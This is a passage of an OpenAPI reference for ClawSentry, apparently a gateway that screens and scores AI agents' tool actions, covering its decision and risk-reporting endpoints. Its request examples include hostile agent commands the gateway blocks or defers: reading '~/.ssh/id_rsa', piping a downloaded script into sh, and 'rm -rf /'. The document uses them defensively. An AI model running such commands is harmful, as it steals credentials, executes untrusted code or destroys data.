{ "openapi": "3.1.0", "info": { "title": "ClawSentry Public API Reference", "version": "0.6.6", "description": "Docs-owned OpenAPI artifact generated from route inventory plus curated semantic metadata. It does not change runtime API behavior." }, "servers": [ { "url": "http://127.0.0.1:8080", "description": "ClawSentry Gateway" }, { "url": "http://127.0.0.1:8081", "description": "OpenClaw Webhook Receiver (example)" } ], "components": { "securitySchemes": { "BearerAuth": { "type": "http", "scheme": "bearer" }, "WebhookSignature": { "type": "apiKey", "in": "header", "name": "X-AHP-Signature" }, "WebhookTimestamp": { "type": "apiKey", "in": "header", "name": "X-AHP-Timestamp" } }, "schemas": { "CanonicalDecision": { "type": "object", "required": [ "decision", "reason", "risk_level" ], "properties": { "decision": { "type": "string", "enum": [ "allow", "block", "defer", "modify" ] }, "reason": { "type": "string" }, "risk_level": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] }, "final": { "type": "boolean" } } }, "CanonicalEvent": { "type": "object", "required": [ "schema_version", "event_id", "event_type", "session_id", "source_framework", "payload" ], "properties": { "schema_version": { "type": "string" }, "event_id": { "type": "string" }, "event_type": { "type": "string" }, "session_id": { "type": "string" }, "source_framework": { "type": "string" }, "payload": { "type": "object" } } }, "ErrorResponse": { "type": "object", "properties": { "error": { "type": "string" }, "failure_class": { "type": "string" } } } } }, "paths": { "/ahp": { "post": { "tags": [ "AHP 决策" ], "summary": "OpenClaw/AHP JSON-RPC 同步决策入口", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth; production must set Bearer token. See `api/decisions.md#post-ahp`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "jsonrpc": "2.0", "id": "req-001", "result": { "decision": "block", "risk_level": "critical", "reason": "credential file access requires operator review", "final": true } } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3541", "x-clawsentry-markdown-ref": "api/decisions.md#post-ahp", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth; production must set Bearer token.", "requestBody": { "required": true, "content": { "application/json": { "example": { "jsonrpc": "2.0", "method": "sync_decision", "id": "req-001", "params": { "event": { "schema_version": "ahp.1.0", "event_id": "evt-001", "event_type": "pre_action", "session_id": "sess-001", "source_framework": "openclaw", "tool_name": "bash", "payload": { "command": "cat ~/.ssh/id_rsa" } } } } } } }, "security": [ { "BearerAuth": [] } ] } }, "/ahp/a3s": { "post": { "tags": [ "AHP 决策" ], "summary": "a3s-code HTTP Transport 入口", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth; production must set Bearer token. See `api/decisions.md#post-ahp-a3s`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "decision": "defer", "risk_level": "high", "reason": "download-and-execute flow requires approval", "approval_id": "apr-001", "final": false } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3639", "x-clawsentry-markdown-ref": "api/decisions.md#post-ahp-a3s", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth; production must set Bearer token.", "requestBody": { "required": true, "content": { "application/json": { "example": { "request_id": "a3s-001", "event": { "schema_version": "ahp.1.0", "event_type": "pre_action", "session_id": "sess-a3s", "source_framework": "a3s-code", "payload": { "tool": "bash", "command": "curl https://example.com/script.sh | sh" } } } } } }, "security": [ { "BearerAuth": [] } ] } }, "/ahp/codex": { "post": { "tags": [ "AHP 决策" ], "summary": "Codex native hook / HTTP transport 入口", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth; production must set Bearer token. See `api/decisions.md#post-ahp-codex`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "permissionDecision": "deny", "permissionDecisionReason": "destructive command blocked by ClawSentry" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3673", "x-clawsentry-markdown-ref": "api/decisions.md#post-ahp-codex", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth; production must set Bearer token.", "requestBody": { "required": true, "content": { "application/json": { "example": { "hook_event_name": "PreToolUse", "tool_name": "Bash", "session_id": "sess-codex", "tool_input": { "command": "rm -rf /" } } } } }, "security": [ { "BearerAuth": [] } ] } }, "/ahp/adapter-effect-result": { "post": { "tags": [ "AHP 决策" ], "summary": "记录 adapter-observed effect outcome，不修改 canonical decision", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth; native hook subprocesses should authenticate when token is configured. See `api/decisions.md#post-ahp-adapter-effect-result`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "status": "ok", "data": {} } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3562", "x-clawsentry-markdown-ref": "api/decisions.md#post-ahp-adapter-effect-result", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth; native hook subprocesses should authenticate when token is configured.", "requestBody": { "required": true, "content": { "application/json": { "example": { "request_id": "docs-example", "payload": { "example": true } } } } }, "security": [ { "BearerAuth": [] } ] } }, "/ahp/scope/preview": { "post": { "tags": [ "AHP 决策" ], "summary": "预览 deterministic SessionScopeProfile 对单个 canonical event 的 allow/defer/deny reason codes", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. Scope preview is capability-honest: dry-run profiles explain what would happen but do not enforce until confirmed. See `api/decisions.md#post-ahp-scope-preview`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "valid": true, "mode": "dry_run_only", "profile_id": "docs-only", "scope_evaluation": { "profile_id": "docs-only", "source": "operator", "confirmed": false, "dry_run": true, "enforced": false, "verdict": "deny", "reason_codes": [ "scope_deny:path ~/.ssh" ] }, "protection_statement": "Protected today: scope preview validates rules and explains the decision that would apply. Not protected today: dry-run scope profiles do not block or defer actions until explicitly confirmed." } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3591", "x-clawsentry-markdown-ref": "api/decisions.md#post-ahp-scope-preview", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth. Scope preview is capability-honest: dry-run profiles explain what would happen but do not enforce until confirmed.", "requestBody": { "required": true, "content": { "application/json": { "example": { "profile": { "profile_id": "docs-only", "confirmed": false, "dry_run": true, "base_rules": { "denied_paths": [ "~/.ssh" ] }, "task_rules": { "allowed_tools": [ "read_file" ] } }, "event": { "event_id": "evt-scope-docs", "trace_id": "trace-scope-docs", "event_type": "pre_action", "session_id": "sess-scope-docs", "agent_id": "agent-scope-docs", "source_framework": "test", "occurred_at": "2026-05-02T00:00:00+00:00", "tool_name": "read_file", "payload": { "path": "~/.ssh/id_rsa" } } } } } }, "security": [ { "BearerAuth": [] } ] } }, "/ahp/resolve": { "post": { "tags": [ "AHP 决策" ], "summary": "DEFER/审批结果回写入口", "description": "Service: `stack`. Auth: `bearer-disabled-when-empty-token`. Uses Gateway auth dependency; CS_AUTH_TOKEN empty disables Bearer auth. See `api/decisions.md#post-ahp-resolve`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "status": "resolved", "decision": "allow", "approval_id": "apr-001" } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/stack.py:207", "x-clawsentry-markdown-ref": "api/decisions.md#post-ahp-resolve", "x-clawsentry-auth-note": "Uses Gateway auth dependency; CS_AUTH_TOKEN empty disables Bearer auth.", "requestBody": { "required": true, "content": { "application/json": { "example": { "approval_id": "apr-001", "request_id": "req-001", "decision": "allow", "reason": "Operator verified the command target is a disposable sandbox." } } } }, "security": [ { "BearerAuth": [] } ] } }, "/health": { "get": { "tags": [ "运行状态" ], "summary": "Gateway 健康检查", "description": "Service: `gateway`. Auth: `none`. Gateway health endpoint is intentionally unauthenticated. See `api/reporting.md#get-health`.", "parameters": [], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "status": "healthy", "component": "gateway" } } } }, "500": { "description": "Error 500" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3712", "x-clawsentry-markdown-ref": "api/reporting.md#get-health", "x-clawsentry-auth-note": "Gateway health endpoint is intentionally unauthenticated." } }, "/metrics": { "get": { "tags": [ "运行状态" ], "summary": "Prometheus 指标", "description": "Service: `gateway`. Auth: `metrics-conditional`. CS_METRICS_AUTH=true requires Bearer token; false/empty exposes metrics without auth. See `api/reporting.md#get-metrics`.", "parameters": [], "responses": { "200": { "description": "Successful text/plain response. See api-coverage.json for the curated text example.", "x-clawsentry-text-example": "# HELP clawsentry_decisions_total Total decisions\nclawsentry_decisions_total{decision=\"block\"} 3\n" }, "401": { "description": "Error 401" }, "500": { "description": "Error 500" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3726", "x-clawsentry-markdown-ref": "api/reporting.md#get-metrics", "x-clawsentry-auth-note": "CS_METRICS_AUTH=true requires Bearer token; false/empty exposes metrics without auth." } }, "/report/summary": { "get": { "tags": [ "报表与监控" ], "summary": "聚合统计", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-report-summary`.", "parameters": [ { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "total_records": 1250, "by_source_framework": { "a3s-code": 800, "openclaw": 450 }, "by_event_type": { "pre_action": 900, "post_action": 300, "session": 50 }, "by_decision": { "allow": 1000, "block": 150, "defer": 80, "modify": 20 }, "by_risk_level": { "low": 800, "medium": 300, "high": 120, "critical": 30 }, "by_actual_tier": { "L1": 1200, "L2": 50 }, "by_caller_adapter": { "a3s-adapter.v1": 800, "openclaw-adapter.v1": 450 }, "invalid_event": { "count_1m": 0, "count_5m": 2, "count_15m": 5, "rate_5m": 0.004, "rate_15m": 0.002, "alerts": [] }, "high_risk_trend": { "windows": { "5m": { "count": 3, "total": 50, "ratio": 0.06 }, "15m": { "count": 8, "total": 150, "ratio": 0.053 }, "60m": { "count": 20, "total": 500, "ratio": 0.04 } }, "direction_5m": "up", "series_5m": [ { "bucket_start": "2026-03-23T09:00:00+00:00", "bucket_end": "2026-03-23T09:05:00+00:00", "total_count": 40, "high_or_critical_count": 2, "ratio": 0.05 } ] }, "system_security_posture": { "score_0_100": 72.5, "level": "elevated", "drivers": [ { "key": "high_sessions", "label": "High-risk sessions", "value": 3 } ], "window_seconds": 3600, "generated_at": "2026-04-25T12:00:05Z", "decision_affecting": false }, "decision_path_io": { "record_path": { "calls": 25 }, "reporting": { "report_summary": { "calls": 1 } } }, "decision_path_io_pressure": { "level": "healthy", "max_seconds": 0.01, "decision_affecting": false }, "generated_at": "2026-03-23T10:30:00+00:00", "window_seconds": null } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3738", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-summary", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/report/stream": { "get": { "tags": [ "报表与监控" ], "summary": "SSE 实时事件流", "description": "Service: `gateway`. Auth: `query-token`. Accepts Bearer token and browser-friendly ?token= query auth; CS_AUTH_TOKEN empty disables auth. See `api/reporting.md#get-report-stream`.", "parameters": [ { "name": "session_id", "in": "query", "required": false, "schema": { "type": "string" } }, { "name": "min_risk", "in": "query", "required": false, "schema": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] } }, { "name": "types", "in": "query", "required": false, "schema": { "type": "string" } }, { "name": "token", "in": "query", "required": false, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful text/event-stream response. See api-coverage.json for the curated text example.", "x-clawsentry-text-example": "event: decision\ndata: {\"session_id\":\"sess-001\",\"decision\":\"block\",\"risk_level\":\"high\"}\n\n" }, "401": { "description": "Error 401" }, "429": { "description": "Error 429" }, "500": { "description": "Error 500" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3780", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-stream", "x-clawsentry-auth-note": "Accepts Bearer token and browser-friendly ?token= query auth; CS_AUTH_TOKEN empty disables auth.", "security": [ { "BearerAuth": [] } ] } }, "/report/sessions": { "get": { "tags": [ "报表与监控" ], "summary": "会话列表", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-report-sessions`.", "parameters": [ { "name": "status", "in": "query", "required": false, "schema": { "type": "string", "enum": [ "active", "all" ], "default": "active" } }, { "name": "sort", "in": "query", "required": false, "schema": { "type": "string", "enum": [ "risk_level", "last_event" ], "default": "risk_level" } }, { "name": "limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 200, "default": 50 } }, { "name": "min_risk", "in": "query", "required": false, "schema": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "sessions": [ { "session_id": "session-001", "agent_id": "agent-001", "source_framework": "a3s-code", "caller_adapter": "a3s-adapter.v1", "workspace_root": "/workspace/repo-alpha", "transcript_path": "/workspace/repo-alpha/.a3s/session-001.jsonl", "current_risk_level": "high", "cumulative_score": 5, "latest_composite_score": 2.4, "session_risk_sum": 6.7, "session_risk_ewma": 1.9, "latest_post_action_score": 1.0, "post_action_score_ewma": 0.72, "risk_points_sum": 5, "risk_velocity": "up", "window_risk_summary": { "window_seconds": null, "generated_at": "2026-03-23T10:31:00+00:00", "event_count": 25, "high_or_critical_count": 3, "latest_composite_score": 2.4, "session_risk_sum": 6.7, "session_risk_ewma": 1.9, "risk_points_sum": 5, "risk_velocity": "up", "score_range": [ 0.0, 3.0 ], "score_semantics": { "zero_with_no_events": "no_data_not_confirmed_low_risk", "decision_affecting": false }, "decision_affecting": false }, "post_action_score_summary": { "window_seconds": null, "generated_at": "2026-03-23T10:31:00+00:00", "event_count": 3, "latest_post_action_score": 1.0, "post_action_score_sum": 2.4, "post_action_score_avg": 0.8, "post_action_score_ewma": 0.72, "score_range": [ 0.0, 3.0 ], "score_semantics": { "zero_with_no_events": "no_post_action_data_not_confirmed_low_risk", "decision_affecting": false }, "decision_affecting": false }, "score_range": [ 0.0, 3.0 ], "score_semantics": { "zero_with_no_events": "no_data_not_confirmed_low_risk", "decision_affecting": false }, "latest_decision": "defer", "event_count": 25, "high_or_critical_count": 3, "decision_distribution": { "allow": 20, "block": 3, "defer": 2 }, "first_event_at": "2026-03-23T10:00:00+00:00", "last_event_at": "2026-03-23T10:30:00+00:00", "d4_accumulation": 4, "l3_state": "completed", "l3_reason_code": "suspicious_sequence_matched", "evidence_summary": { "reasoning_turns": 3, "tools_observed": [ "read_trajectory", "read_file" ], "key_findings": [ "Read secret-like file before outbound curl" ] } } ], "total_active": 1, "decision_path_io": { "record_path": { "calls": 25 }, "reporting": { "report_sessions": { "calls": 1 } } }, "generated_at": "2026-03-23T10:31:00+00:00", "window_seconds": null }, "schema": { "type": "object", "properties": { "sessions": { "type": "array", "items": { "type": "object", "properties": { "session_id": { "type": "string" }, "agent_id": { "type": "string" }, "source_framework": { "type": "string" }, "caller_adapter": { "type": "string" }, "workspace_root": { "type": "string" }, "transcript_path": { "type": "string" }, "current_risk_level": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] }, "cumulative_score": { "type": "number" }, "latest_composite_score": { "type": "number", "minimum": 0.0, "maximum": 3.0 }, "session_risk_sum": { "type": "number", "minimum": 0.0 }, "session_risk_ewma": { "type": "number", "minimum": 0.0, "maximum": 3.0, "description": "Windowed session risk EWMA display score, alpha=0.3 (ewma_0 = score_0; ewma_n = 0.3 * score_n + 0.7 * ewma_(n-1)). Range is 0.0..3.0. A 0.0 value when no window events exist uses the no_data_not_confirmed_low_risk sentinel and must not be read as confirmed low risk. This is an observability/UI field and is non-decision-affecting." }, "risk_points_sum": { "type": "integer", "minimum": 0 }, "risk_velocity": { "type": "string" }, "window_risk_summary": { "type": "object", "properties": { "window_seconds": { "type": [ "integer", "null" ], "minimum": 1 }, "generated_at": { "type": "string" }, "event_count": { "type": "integer", "minimum": 0 }, "high_or_critical_count": { "type": "integer", "minimum": 0, "description": "Canonical high/critical event count. Do not expose legacy high_risk_event_count here." }, "latest_composite_score": { "type": "number", "minimum": 0.0, "maximum": 3.0 }, "session_risk_sum": { "type": "number", "minimum": 0.0 }, "session_risk_ewma": { "type": "number", "minimum": 0.0, "maximum": 3.0, "description": "Windowed session risk EWMA display score, alpha=0.3 (ewma_0 = score_0; ewma_n = 0.3 * score_n + 0.7 * ewma_(n-1)). Range is 0.0..3.0. A 0.0 value when no window events exist uses the no_data_not_confirmed_low_risk sentinel and must not be read as confirmed low risk. This is an observability/UI field and is non-decision-affecting." }, "risk_points_sum": { "type": "integer", "minimum": 0 }, "risk_velocity": { "type": "string" }, "score_range": { "type": "array", "items": { "type": "number" }, "minItems": 2, "maxItems": 2, "description": "Inclusive score range for session risk display values: [0.0, 3.0]." }, "score_semantics": { "type": "object", "properties": { "zero_with_no_events": { "type": "string", "enum": [ "no_data_not_confirmed_low_risk" ], "description": "0.0 with no events is a no-data sentinel, not confirmed low risk." }, "decision_affecting": { "type": "boolean", "const": false, "description": "Session risk display metrics do not alter canonical Gateway decisions." } }, "additionalProperties": true }, "decision_affecting": { "type": "boolean", "const": false } }, "additionalProperties": true }, "score_range": { "type": "array", "items": { "type": "number" }, "minItems": 2, "maxItems": 2, "description": "Inclusive score range for session risk display values: [0.0, 3.0]." }, "score_semantics": { "type": "object", "properties": { "zero_with_no_events": { "type": "string", "enum": [ "no_data_not_confirmed_low_risk" ], "description": "0.0 with no events is a no-data sentinel, not confirmed low risk." }, "decision_affecting": { "type": "boolean", "const": false, "description": "Session risk display metrics do not alter canonical Gateway decisions." } }, "additionalProperties": true }, "event_count": { "type": "integer", "minimum": 0 }, "high_or_critical_count": { "type": "integer", "minimum": 0 }, "decision_distribution": { "type": "object", "additionalProperties": { "type": "integer", "minimum": 0 } } }, "additionalProperties": true } }, "total_active": { "type": "integer", "minimum": 0 }, "generated_at": { "type": "string" }, "window_seconds": { "type": [ "integer", "null" ], "minimum": 1 } }, "additionalProperties": true } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3894", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-sessions", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/report/session/{session_id}/risk": { "get": { "tags": [ "报表与监控" ], "summary": "会话风险时间线", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-report-session-risk`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } }, { "name": "limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 1000, "default": 100 } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "agent_id": "agent-001", "source_framework": "a3s-code", "caller_adapter": "a3s-adapter.v1", "workspace_root": "/workspace/repo-alpha", "transcript_path": "/workspace/repo-alpha/.a3s/session-001.jsonl", "current_risk_level": "high", "cumulative_score": 5, "latest_composite_score": 2.4, "session_risk_sum": 6.7, "session_risk_ewma": 1.9, "latest_post_action_score": 1.0, "post_action_score_ewma": 0.72, "risk_points_sum": 5, "risk_velocity": "up", "window_risk_summary": { "window_seconds": 3600, "generated_at": "2026-03-23T10:31:00+00:00", "event_count": 12, "high_or_critical_count": 3, "latest_composite_score": 2.4, "session_risk_sum": 6.7, "session_risk_ewma": 1.9, "risk_points_sum": 5, "risk_velocity": "up", "score_range": [ 0.0, 3.0 ], "score_semantics": { "zero_with_no_events": "no_data_not_confirmed_low_risk", "decision_affecting": false }, "decision_affecting": false }, "post_action_score_summary": { "window_seconds": 3600, "generated_at": "2026-03-23T10:31:00+00:00", "event_count": 3, "latest_post_action_score": 1.0, "post_action_score_sum": 2.4, "post_action_score_avg": 0.8, "post_action_score_ewma": 0.72, "score_range": [ 0.0, 3.0 ], "score_semantics": { "zero_with_no_events": "no_post_action_data_not_confirmed_low_risk", "decision_affecting": false }, "decision_affecting": false }, "score_range": [ 0.0, 3.0 ], "score_semantics": { "zero_with_no_events": "no_data_not_confirmed_low_risk", "decision_affecting": false }, "event_count": 25, "high_or_critical_count": 3, "risk_timeline": [ { "event_id": "evt-001", "occurred_at": "2026-03-23T10:00:00+00:00", "risk_level": "low", "composite_score": 1.0, "tool_name": "bash", "decision": "allow" }, { "event_id": "evt-002", "occurred_at": "2026-03-23T10:05:00+00:00", "risk_level": "high", "composite_score": 2.4, "tool_name": "bash", "decision": "block" } ], "risk_hints_seen": [ "destructive_pattern", "shell_execution" ], "tools_used": [ "bash", "file_editor" ], "actual_tier_distribution": { "L1": 23, "L2": 2 }, "l3_advisory": { "latest_review": { "review_id": "l3adv-001", "snapshot_id": "l3snap-001", "l3_state": "completed", "advisory_only": true }, "latest_job": { "job_id": "l3job-001", "job_state": "completed", "runner": "llm_provider" } }, "decision_path_io": { "record_path": { "calls": 25 }, "reporting": { "report_session_risk": { "calls": 1 } } }, "generated_at": "2026-03-23T10:31:00+00:00", "window_seconds": 3600 }, "schema": { "type": "object", "properties": { "session_id": { "type": "string" }, "agent_id": { "type": "string" }, "source_framework": { "type": "string" }, "caller_adapter": { "type": "string" }, "workspace_root": { "type": "string" }, "transcript_path": { "type": "string" }, "current_risk_level": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] }, "cumulative_score": { "type": "number" }, "latest_composite_score": { "type": "number", "minimum": 0.0, "maximum": 3.0 }, "session_risk_sum": { "type": "number", "minimum": 0.0 }, "session_risk_ewma": { "type": "number", "minimum": 0.0, "maximum": 3.0, "description": "Windowed session risk EWMA display score, alpha=0.3 (ewma_0 = score_0; ewma_n = 0.3 * score_n + 0.7 * ewma_(n-1)). Range is 0.0..3.0. A 0.0 value when no window events exist uses the no_data_not_confirmed_low_risk sentinel and must not be read as confirmed low risk. This is an observability/UI field and is non-decision-affecting." }, "risk_points_sum": { "type": "integer", "minimum": 0 }, "risk_velocity": { "type": "string" }, "window_risk_summary": { "type": "object", "properties": { "window_seconds": { "type": [ "integer", "null" ], "minimum": 1 }, "generated_at": { "type": "string" }, "event_count": { "type": "integer", "minimum": 0 }, "high_or_critical_count": { "type": "integer", "minimum": 0, "description": "Canonical high/critical event count. Do not expose legacy high_risk_event_count here." }, "latest_composite_score": { "type": "number", "minimum": 0.0, "maximum": 3.0 }, "session_risk_sum": { "type": "number", "minimum": 0.0 }, "session_risk_ewma": { "type": "number", "minimum": 0.0, "maximum": 3.0, "description": "Windowed session risk EWMA display score, alpha=0.3 (ewma_0 = score_0; ewma_n = 0.3 * score_n + 0.7 * ewma_(n-1)). Range is 0.0..3.0. A 0.0 value when no window events exist uses the no_data_not_confirmed_low_risk sentinel and must not be read as confirmed low risk. This is an observability/UI field and is non-decision-affecting." }, "risk_points_sum": { "type": "integer", "minimum": 0 }, "risk_velocity": { "type": "string" }, "score_range": { "type": "array", "items": { "type": "number" }, "minItems": 2, "maxItems": 2, "description": "Inclusive score range for session risk display values: [0.0, 3.0]." }, "score_semantics": { "type": "object", "properties": { "zero_with_no_events": { "type": "string", "enum": [ "no_data_not_confirmed_low_risk" ], "description": "0.0 with no events is a no-data sentinel, not confirmed low risk." }, "decision_affecting": { "type": "boolean", "const": false, "description": "Session risk display metrics do not alter canonical Gateway decisions." } }, "additionalProperties": true }, "decision_affecting": { "type": "boolean", "const": false } }, "additionalProperties": true }, "score_range": { "type": "array", "items": { "type": "number" }, "minItems": 2, "maxItems": 2, "description": "Inclusive score range for session risk display values: [0.0, 3.0]." }, "score_semantics": { "type": "object", "properties": { "zero_with_no_events": { "type": "string", "enum": [ "no_data_not_confirmed_low_risk" ], "description": "0.0 with no events is a no-data sentinel, not confirmed low risk." }, "decision_affecting": { "type": "boolean", "const": false, "description": "Session risk display metrics do not alter canonical Gateway decisions." } }, "additionalProperties": true }, "event_count": { "type": "integer", "minimum": 0 }, "high_or_critical_count": { "type": "integer", "minimum": 0 }, "decision_distribution": { "type": "object", "additionalProperties": { "type": "integer", "minimum": 0 } } }, "additionalProperties": true } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3988", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-session-risk", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/report/session/{session_id}/post-action": { "get": { "tags": [ "报表与监控" ], "summary": "Post-action 安全围栏分与 session EWMA", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-report-session-post-action`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } }, { "name": "limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 1000, "default": 100 } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "latest_post_action_score": 1.0, "post_action_score_sum": 2.4, "post_action_score_avg": 0.8, "post_action_score_ewma": 0.72, "post_action_event_count": 3, "score_range": [ 0.0, 3.0 ], "score_semantics": { "zero_with_no_events": "no_post_action_data_not_confirmed_low_risk", "decision_affecting": false, "aggregation": "latest, sum, avg, and EWMA are separate from session_risk_ewma; do not add raw channels" }, "post_action_score_summary": { "window_seconds": 3600, "generated_at": "2026-03-23T10:31:00+00:00", "event_count": 3, "latest_post_action_score": 1.0, "post_action_score_sum": 2.4, "post_action_score_avg": 0.8, "post_action_score_ewma": 0.72, "score_range": [ 0.0, 3.0 ], "score_semantics": { "zero_with_no_events": "no_post_action_data_not_confirmed_low_risk", "decision_affecting": false }, "decision_affecting": false }, "decision_affecting": false, "post_action_scores": [ { "event_id": "evt-post-001", "occurred_at": "2026-03-23T10:05:00+00:00", "tool_name": "read_file", "source_framework": "a3s-code", "tier": "escalate", "patterns_matched": [ "indirect_injection" ], "score": 1.0, "handling": "broadcast" } ], "decision_path_io": { "record_path": { "calls": 25 }, "reporting": { "report_session_post_action": { "calls": 1 } } }, "generated_at": "2026-03-23T10:31:00+00:00", "window_seconds": 3600 } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4011", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-session-post-action", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/report/session/{session_id}": { "get": { "tags": [ "报表与监控" ], "summary": "会话事件回放", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-report-session`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } }, { "name": "limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 1000, "default": 100 } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "records": [ { "event": { "event_type": "pre_action", "tool_name": "bash" }, "decision": { "decision": "block", "risk_level": "high" } } ] } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4446", "x-clawsentry-markdown-ref": "api/reporting.md#get-report-session", "x-clawsentry-auth-note": "CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/report/session/{session_id}/page": { "get": { "tags": [ "报表与监控" ], "summary": "分页会话事件回放", "description": "Service: `gateway`. Auth: `bearer-disabled-when-empty-token`. CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#get-report-session-page`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } }, { "name": 